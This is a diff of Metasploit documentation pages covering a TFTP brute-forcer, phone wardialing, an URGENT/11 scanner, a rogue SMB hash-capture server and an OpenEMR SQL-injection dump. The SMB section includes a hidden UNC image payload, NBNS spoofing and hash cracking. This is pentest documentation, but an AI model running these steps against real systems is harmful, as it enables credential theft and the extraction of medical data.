On Kali 2019.4 (rolling) one of the TFTP server is the package `tftpd-hpa`. This can be installed as follows:
|
||||
|
||||
```
|
||||
apt-get install tftpd-hpa
|
||||
systemctl start tftpd-hpa
|
||||
```
|
||||
|
||||
This creates the root tftp directory in `/srv/tftp`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/tftp/tftpbrute```
|
||||
4. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**DICTIONARY**
|
||||
|
||||
The newline separated list of files to find. Default depends on install location, however it will be within `metasploit-framework/data/wordlists/tftp.txt`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### tftpd-hpa on Kali linux
|
||||
|
||||
First, create a file to find:
|
||||
|
||||
```
|
||||
echo "hello world" > /srv/tftp/test.txt
|
||||
```
|
||||
|
||||
Now we can find the file:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/tftp/tftpbrute
|
||||
msf5 auxiliary(scanner/tftp/tftpbrute) > set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
msf5 auxiliary(scanner/tftp/tftpbrute) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/tftp/tftpbrute) > run
|
||||
|
||||
[+] Found test.txt on 1.1.1.1
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/tftp/tftpbrute) >
|
||||
```
|
||||
@@ -0,0 +1,38 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module dials a range of phone numbers and records audio from each answered call.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use modules/auxiliary/scanner/voice/recorder`
|
||||
3. Do: `set IAX_HOST [ip]`
|
||||
4. Do: `set OUTPUT_PATH [path]`
|
||||
5. Do: `set TARGETS [phone numbers]`
|
||||
6. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use modules/auxiliary/scanner/voice/recorder
|
||||
msf auxiliary(scanner/voice/recorder) > set IAX_HOST 10.0.183.93
|
||||
IAX_HOST => 10.0.183.93
|
||||
msf auxiliary(scanner/voice/recorder) > set OUTPUT_PATH /root/audio
|
||||
OUTPUT_PATH => /root/voice
|
||||
msf auxiliary(scanner/voice/recorder) > set TARGETS 123-456-7890
|
||||
TARGETS => 123-456-7890
|
||||
msf auxiliary(scanner/voice/recorder) > run
|
||||
[*] Dialing 123-456-7890...
|
||||
[*] Number: 123-456-7890 ringing Frames 0 DTMF ''
|
||||
[*] Number: 123-456-7890 ringing Frames 0 DTMF ''
|
||||
[*] Number: 123-456-7890 ringing Frames 0 DTMF ''
|
||||
[*] Number: 123-456-7890 answered Frames 51 DTMF ''
|
||||
[*] Number: 123-456-7890 answered Frames 101 DTMF ''
|
||||
[*] Number: 123-456-7890 answered Frames 151 DTMF ''
|
||||
[*] Number: 123-456-7890 answered Frames 201 DTMF ''
|
||||
[*] Number: 123-456-7890 answered Frames 252 DTMF ''
|
||||
[*] Number: 123-456-7890 answered Frames 302 DTMF ''
|
||||
[*] Completed Number: 123-456-7890 State: hangup Frames: 302 DTMF ''
|
||||
[+] 123-456-7890 resulted in 15420 bytes of audio to /root/audio/123-456-7890.raw
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,46 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This detects systems running vulnerable versions of the Interpeak IPnet TCP/IP stack, which may be exploitable due to bugs parsing malformed network packets which can lead to memory corruption or denial-of-service attack possibilities.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/vxworks/urgent11_check`
|
||||
2. Do: `set [RHOSTS]`, replacing `[RHOSTS]` with a list of hosts to test for the presence of the vulnerable IP stack.
|
||||
2. Do: `set [RPORTS]`, replacing `[RPORTS]` with a list of possible service ports to interrogate for vulnerable stack behavior.
|
||||
3. Do: ```run```
|
||||
4. If the host is exposing an identifiable IPnet TCP/IP stack, it will print the endpoint and report a vuln.
|
||||
|
||||
## Options
|
||||
|
||||
**RPORTS** Set to a comma or space-delimited list of ports to check for the vulnerability.
|
||||
|
||||
**VERBOSE** Set to see how the probabilities of a vulnerable host are calculated.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/vxworks/urgent11_check) > set RHOSTS 192.168.86.1 192.168.86.2
|
||||
RHOSTS => 192.168.86.1 192.168.86.2
|
||||
msf5 auxiliary(scanner/vxworks/urgent11_check) > set THREADS 2
|
||||
THREADS => 2
|
||||
msf5 auxiliary(scanner/vxworks/urgent11_check) > set RPORTS 21 22 23 80 443
|
||||
RPORTS => 21 22 23 80 443
|
||||
msf5 auxiliary(scanner/vxworks/urgent11_check) > run
|
||||
|
||||
[*] 192.168.86.1:21 being checked
|
||||
[*] 192.168.86.2:21 being checked
|
||||
[*] 192.168.86.1:22 being checked
|
||||
[*] 192.168.86.1:23 being checked
|
||||
[*] 192.168.86.1:80 being checked
|
||||
[*] 192.168.86.1:443 being checked
|
||||
[*] Scanned 1 of 2 hosts (50% complete)
|
||||
[*] 192.168.86.2:22 being checked
|
||||
[+] 192.168.86.2:22 affected by CVE-2019-12258
|
||||
[*] 192.168.86.2:23 being checked
|
||||
[*] 192.168.86.2:80 being checked
|
||||
[*] 192.168.86.2:443 being checked
|
||||
[+] 192.168.86.2:443 affected by CVE-2019-12258
|
||||
[*] Scanned 2 of 2 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/vxworks/urgent11_check) >
|
||||
```
|
||||
@@ -0,0 +1,415 @@
|
||||
This module creates a mock SMBv1 server which accepts credentials before returning `NT_STATUS_LOGON_FAILURE`.
|
||||
|
||||
SMBv1 is enabled by default on systems before, and including:
|
||||
|
||||
* Windows XP
|
||||
* Windows Server 2008 R2
|
||||
|
||||
Microsoft provides an article on how to detect, disable, and enable SMB in various versions
|
||||
[here](https://support.microsoft.com/en-us/help/2696547/detect-enable-disable-smbv1-smbv2-smbv3-in-windows-and-windows-server)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/smb```
|
||||
3. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**CAINPWFILE**
|
||||
|
||||
A file to store Cain & Abel formatted captured hashes in
|
||||
|
||||
**CHALLENGE**
|
||||
|
||||
An 8 byte server challenge. Default is `1122334455667788`
|
||||
|
||||
**JOHNPWFILE**
|
||||
|
||||
A file to store John the Ripper formatted hashes in
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Linux Connection via smbclient
|
||||
|
||||
Ubuntu 18.04 with `smbclient 4.7.6-Ubuntu` installed.
|
||||
|
||||
Based on [shellvoide.com](https://www.shellvoide.com/hacks/how-to-setup-rogue-fake-smb-server-to-capture-credentials/)
|
||||
|
||||
You'll need to set `client use spnego = no` under `[global]` in `smb.conf` to ensure SMBv1 compatibility.
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 exploit(multi/handler) > use auxiliary/server/capture/smb
|
||||
msf5 auxiliary(server/capture/smb) > set johnpwfile /tmp/john
|
||||
johnpwfile => /tmp/john
|
||||
msf5 auxiliary(server/capture/smb) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
[*] SMB Captured - 2019-09-25 22:44:04 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:50978 - 2.2.2.2
|
||||
USER:ubuntu DOMAIN:WORKGROUP OS:Unix LM:Samba
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:a6b70b49c8d42903fbe6231ce53a21ff
|
||||
NT_CLIENT_CHALLENGE:01010000000000008aee33441474d501f8f62d51f6995359000000000200120057004f0052004b00470052004f005500500000000000
|
||||
[*] SMB Capture - Empty hash captured from 2.2.2.2:50978 - 2.2.2.2 captured, ignoring ...
|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
```
|
||||
root@Kali:~# grep spnego /etc/samba/smb.conf
|
||||
client use spnego = no
|
||||
root@Kali:~# smbclient //1.1.1.1/fake
|
||||
Enter WORKGROUP\root's password:
|
||||
session setup failed: NT_STATUS_LOGON_FAILURE
|
||||
```
|
||||
|
||||
Crack the Hash:
|
||||
|
||||
```
|
||||
# cat /tmp/john_netntlmv2
|
||||
ubuntu::WORKGROUP:1122334455667788:a6b70b49c8d42903fbe6231ce53a21ff:01010000000000008aee33441474d501f8f62d51f6995359000000000200120057004f0052004b00470052004f005500500000000000
|
||||
# john /tmp/john_netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
Using default input encoding: UTF-8
|
||||
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
test (ubuntu)
|
||||
1g 0:00:00:00 DONE (2019-09-25 22:46) 11.11g/s 1865Kp/s 1865Kc/s 1865KC/s 24782478..playpen
|
||||
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
|
||||
```
|
||||
|
||||
### Windows XP via net use
|
||||
|
||||
Method also confirmed on Windows 2008r2
|
||||
|
||||
Based off of [hackers-arise.com](https://www.hackers-arise.com/single-post/2018/11/19/Metasploit-Basics-Part-20-Creating-a-Fake-SMB-Server-to-Capture-Credentials)
|
||||
|
||||
The idea here is we have a shell on a Windows box where we can't `hashdump` due to user permissions.
|
||||
However, we're able to do a `net use` to make an `SMB` connection back to our server to get the
|
||||
user's hash, then hopefully crack it.
|
||||
|
||||
```
|
||||
meterpreter > getuid
|
||||
Server username: WINXP\test
|
||||
meterpreter > hashdump
|
||||
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf5 exploit(multi/handler) > use auxiliary/server/capture/smb
|
||||
msf5 auxiliary(server/capture/smb) > set johnpwfile /tmp/john
|
||||
johnpwfile => /tmp/john
|
||||
msf5 auxiliary(server/capture/smb) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/smb) >
|
||||
[*] Started service listener on 0.0.0.0:445
|
||||
[*] Server started.
|
||||
|
||||
msf5 auxiliary(server/capture/smb) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > shell
|
||||
Process 892 created.
|
||||
Channel 1 created.
|
||||
Microsoft Windows XP [Version 5.1.2600]
|
||||
(C) Copyright 1985-2001 Microsoft Corp.
|
||||
|
||||
C:\Documents and Settings\test\Desktop>net use \\1.1.1.1 fake
|
||||
|
||||
[*] SMB Captured - 2019-09-25 22:26:04 -0400
|
||||
NTLMv1 Response Captured from 2.2.2.2:1056 - 2.2.2.2
|
||||
USER:test DOMAIN:WINXP OS:Windows 2002 Service Pack 2 2600 LM:Windows 2002 5.1
|
||||
LMHASH:7f1a8bbdf965d969339b08f160d292692f85252cc731bb25
|
||||
NTHASH:e02333eb6ac047b8d4d4f5759b1a455161d4bc576f75460c
|
||||
net use \\1.1.1.1 fake
|
||||
System error 1326 has occurred.
|
||||
|
||||
Logon failure: unknown user name or bad password.
|
||||
|
||||
|
||||
C:\Documents and Settings\test\Desktop>
|
||||
```
|
||||
|
||||
We're now able to use John the Ripper to crack the password.
|
||||
|
||||
```
|
||||
# cat /tmp/john_netntlm
|
||||
test::WINXP:7f1a8bbdf965d969339b08f160d292692f85252cc731bb25:e02333eb6ac047b8d4d4f5759b1a455161d4bc576f75460c:1122334455667788
|
||||
# john /tmp/john_netntlm --format=netlm --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
Using default input encoding: UTF-8
|
||||
Using default target encoding: CP850
|
||||
Loaded 1 password hash (netlm, LM C/R [DES 32/64])
|
||||
Warning: poor OpenMP scalability for this hash type, consider --fork=8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
FAKE (test)
|
||||
1g 0:00:00:00 DONE (2019-09-25 22:28) 1.333g/s 1398Kp/s 1398Kc/s 1398KC/s 123456..LATISHA1
|
||||
Use the "--show --format=netlm" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
```
|
||||
|
||||
### UNC in Websites Vector
|
||||
|
||||
One way to coax a user into creating an SMB connection is to embed it in a website
|
||||
|
||||
First, create the website (we're using Kali for this) with the following content:
|
||||
```
|
||||
<html>
|
||||
<head>
|
||||
<title>UNC Example</title>
|
||||
</head>
|
||||
<body>
|
||||
<img src="file:////1.1.1.1/fake.jpg" width="0px" height="0px">
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
This file, for the example is in `/var/www/html/unc.html`.
|
||||
|
||||
Also of note, this could be done via XSS or other injection technique.
|
||||
|
||||
Start the webserver: ```service apache2 start```
|
||||
|
||||
Server:
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/smb
|
||||
msf5 auxiliary(server/capture/smb) > set johnpwfile /tmp/john
|
||||
johnpwfile => /tmp/john
|
||||
msf5 auxiliary(server/capture/smb) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/smb) >
|
||||
[*] Started service listener on 0.0.0.0:445
|
||||
[*] Server started.
|
||||
[*] SMB Captured - 2019-09-26 14:01:37 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:957c33ac7e9d7bf4459ddb2c65109aaa
|
||||
NT_CLIENT_CHALLENGE:01010000000000007a7e22719474d5014eb86a13abf5f61000000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 14:01:37 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:e4411aead169063032e832539864b4ff
|
||||
NT_CLIENT_CHALLENGE:0101000000000000fd0e3f719474d501ed3acc4801283dee00000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 14:01:37 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:f09d780a73410902dae21653cc9ef117
|
||||
NT_CLIENT_CHALLENGE:0101000000000000bed143719474d5015e71b1d1c6aba91800000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 14:01:37 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:b9f84605b6cd0feb57c38f5d7251d5e0
|
||||
NT_CLIENT_CHALLENGE:01010000000000007f9448719474d50164270f62c422d35200000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 14:01:37 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:a1f2d3c84c444368bea5cac47707faec
|
||||
NT_CLIENT_CHALLENGE:01010000000000003f574d719474d50197b541b568bd9d3600000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 14:01:37 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:b895915d8c813c99512904bd1b84f2e2
|
||||
NT_CLIENT_CHALLENGE:0101000000000000001a52719474d501b8fa9400bb1ff22f00000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 14:01:37 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:309c3abcd382e8541a811a8d9af66002
|
||||
NT_CLIENT_CHALLENGE:0101000000000000c0dc56719474d501cea04f59f7a5dc5a00000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 14:01:37 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:1378542b978996b23f6f88c8d52b3d22
|
||||
NT_CLIENT_CHALLENGE:0101000000000000819f5b719474d501cd5954986a11cd6600000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 14:01:37 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:425740c14d740ba89aae0533e1c320bb
|
||||
NT_CLIENT_CHALLENGE:0101000000000000416260719474d501dc6bac2b5637209b00000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 14:01:37 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:b291ca93971c18c3fa3f9789c25296c8
|
||||
NT_CLIENT_CHALLENGE:0101000000000000022565719474d501d583f2f3dbf2ea0000000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 14:01:37 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:3a908e59fe9f96a7f871b3aa2155dce1
|
||||
NT_CLIENT_CHALLENGE:0101000000000000c2e769719474d5015e8a4d8a139e8eea00000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 14:01:37 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:2a76fc76174c297712b08e301ac1b08e
|
||||
NT_CLIENT_CHALLENGE:010100000000000083aa6e719474d5019684d5d78475e27500000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 14:01:37 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:5d7057563a44671ec26ec021613f45b4
|
||||
NT_CLIENT_CHALLENGE:0101000000000000a4ce75719474d50184900d6f208cb07500000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 14:01:37 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:ec6ce9d5171e9f5ee017d963797e760c
|
||||
NT_CLIENT_CHALLENGE:010100000000000064917a719474d501006e93848f1fb88100000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 14:01:37 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49160 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:d96937debde3ce251f6889fc1be21a2f
|
||||
NT_CLIENT_CHALLENGE:010100000000000025547f719474d5014dd729fda10cf20c00000000020000000000000000000000
|
||||
```
|
||||
|
||||
Client:
|
||||
```
|
||||
Browse to the webpage. This example is on Windows Server 2008r2 with Internet Explorer.
|
||||
```
|
||||
|
||||
Crack the password:
|
||||
```
|
||||
# john /tmp/john_netntlmv2 -wordlist=/usr/share/wordlists/rockyou.txt
|
||||
Using default input encoding: UTF-8
|
||||
Loaded 17 password hashes with 17 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
|
||||
Remaining 15 password hashes with 15 different salts
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
15g 0:00:00:00 DONE (2019-09-26 14:06) 115.3g/s 283569p/s 4253Kc/s 4253KC/s dyesebel..holaz
|
||||
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
```
|
||||
|
||||
### Spoofing NBNS
|
||||
|
||||
If the target(s) are on the local network, it's possible to conduct an `nbns` spoof to attract
|
||||
additional SMB queries to your host. This scenario will utilize `auxiliary/spoof/nbns/nbns_response`
|
||||
to conduct the spoofing. If a Windows user attempts to browse or mount a network name such as
|
||||
`\\fake`, the `nbns` module will respond back with the set IP.
|
||||
|
||||
This is based on [hackingarticles.in](https://www.hackingarticles.in/4-ways-capture-ntlm-hashes-network/)
|
||||
|
||||
Server side:
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/smb
|
||||
msf5 auxiliary(server/capture/smb) > set johnpwfile /tmp/johnnbns
|
||||
johnpwfile => /tmp/johnnbns
|
||||
msf5 auxiliary(server/capture/smb) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/smb) >
|
||||
[*] Started service listener on 0.0.0.0:445
|
||||
[*] Server started.
|
||||
|
||||
msf5 auxiliary(server/capture/smb) > use auxiliary/spoof/nbns/nbns_response
|
||||
msf5 auxiliary(spoof/nbns/nbns_response) > set spoofip 1.1.1.1
|
||||
spoofip => 1.1.1.1
|
||||
msf5 auxiliary(spoof/nbns/nbns_response) > set interface eth0
|
||||
interface => eth0
|
||||
msf5 auxiliary(spoof/nbns/nbns_response) > exploit
|
||||
[*] Auxiliary module running as background job 1.
|
||||
msf5 auxiliary(spoof/nbns/nbns_response) >
|
||||
[*] NBNS Spoofer started. Listening for NBNS requests with REGEX ".*" ...
|
||||
[+] 2.2.2.2 nbns - FAKE matches regex, responding with 1.1.1.1
|
||||
[+] 2.2.2.2 nbns - FAKE matches regex, responding with 1.1.1.1
|
||||
[*] SMB Captured - 2019-09-26 16:19:09 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49161 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:5a44b22db99861330e1637f0565f595f
|
||||
NT_CLIENT_CHALLENGE:010100000000000022529fa7a774d501b3b3f093392560d600000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 16:19:09 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49161 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:00837cb572f0116c7544ca0f56d31f5c
|
||||
NT_CLIENT_CHALLENGE:0101000000000000c606c3a7a774d501c28ee74be786099100000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 16:19:09 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49161 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:b571090dea4270b6b6d2b3de39321b29
|
||||
NT_CLIENT_CHALLENGE:010100000000000087c9c7a7a774d501c00e467bda8a8b4a00000000020000000000000000000000
|
||||
[*] SMB Captured - 2019-09-26 16:19:09 -0400
|
||||
NTLMv2 Response Captured from 2.2.2.2:49161 - 2.2.2.2
|
||||
USER:Administrator DOMAIN:WIN-O712LQK2K69 OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:dc28e9e94c6199e814937d61e3956c7d
|
||||
NT_CLIENT_CHALLENGE:0101000000000000084fd1a7a774d5014f34895403460b1b00000000020000000000000000000000
|
||||
```
|
||||
|
||||
Victim:
|
||||
```
|
||||
Open Explorer and type \\fake
|
||||
```
|
||||
|
||||
Finally, Crack the password:
|
||||
```
|
||||
# john /tmp/johnnbns_netntlmv2 -wordlist=/usr/share/wordlists/rockyou.txt
|
||||
Using default input encoding: UTF-8
|
||||
Loaded 6 password hashes with 6 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
Password123 (Administrator)
|
||||
6g 0:00:00:00 DONE (2019-09-26 16:25) 100.0g/s 614400p/s 3686Kc/s 3686KC/s dyesebel..holaz
|
||||
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
```
|
||||
|
||||
### Word Document UNC Injector
|
||||
|
||||
Another strategy is to create content which can entice a user to open, containing a UNC link, and
|
||||
thus creating an SMB connection. To accomplish this, we use `auxiliary/docx/word_unc_injector`.
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
## Introduction
|
||||
|
||||
This module exploits a SQLi vulnerability found in
|
||||
OpenEMR version 5.0.1 Patch 6 and lower. The
|
||||
vulnerability allows the contents of the entire
|
||||
database (with exception of log and task tables) to be
|
||||
extracted.
|
||||
|
||||
This module saves each table as a `.csv` file in your
|
||||
loot directory and has been tested with
|
||||
OpenEMR 5.0.1 (3).
|
||||
|
||||
|
||||
## Author
|
||||
|
||||
Will Porter (will.porter@lodestonesecurity.com) from Lodestone Security
|
||||
|
||||
|
||||
## References
|
||||
|
||||
https://www.cvedetails.com/cve/CVE-2018-17179/
|
||||
https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
```
|
||||
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > show options
|
||||
|
||||
Module options (auxiliary/sqli/openemr/openemr_sqli_dump):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target address range or CIDR identifier
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /openemr yes The base path to the OpenEMR installation
|
||||
VHOST no HTTP server virtual host
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
This module has both `check` and `run` functions.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/sqli/openemr/openemr_sqli_dump
|
||||
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > check
|
||||
|
||||
[*] Trying to detect installed version
|
||||
[*] 127.0.0.1:80 - The target appears to be vulnerable.
|
||||
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] DB Version: 10.3.15-MariaDB-1
|
||||
[*] Enumerating Tables, this may take a moment...
|
||||
[*] Identified 310 tables.
|
||||
[*] Dumping table (1/310): ALL_PLUGINS
|
||||
[*] Dumping table (2/310): APPLICABLE_ROLES
|
||||
[*] Dumping table (3/310): CHARACTER_SETS
|
||||
[*] Dumping table (4/310): CHECK_CONSTRAINTS
|
||||
[*] Dumping table (5/310): COLLATIONS
|
||||
|
||||
...
|
||||
|
||||
[*] Dumping table (305/310): medex_recalls
|
||||
[*] Dumping table (306/310): syndromic_surveillance
|
||||
[*] Dumping table (307/310): lang_constants
|
||||
[*] Dumping table (308/310): gacl_acl_seq
|
||||
[*] Dumping table (309/310): background_services
|
||||
[*] Dumping table (310/310): geo_country_reference
|
||||
[*] Dumped all tables to /root/.msf4/loot
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > exit
|
||||
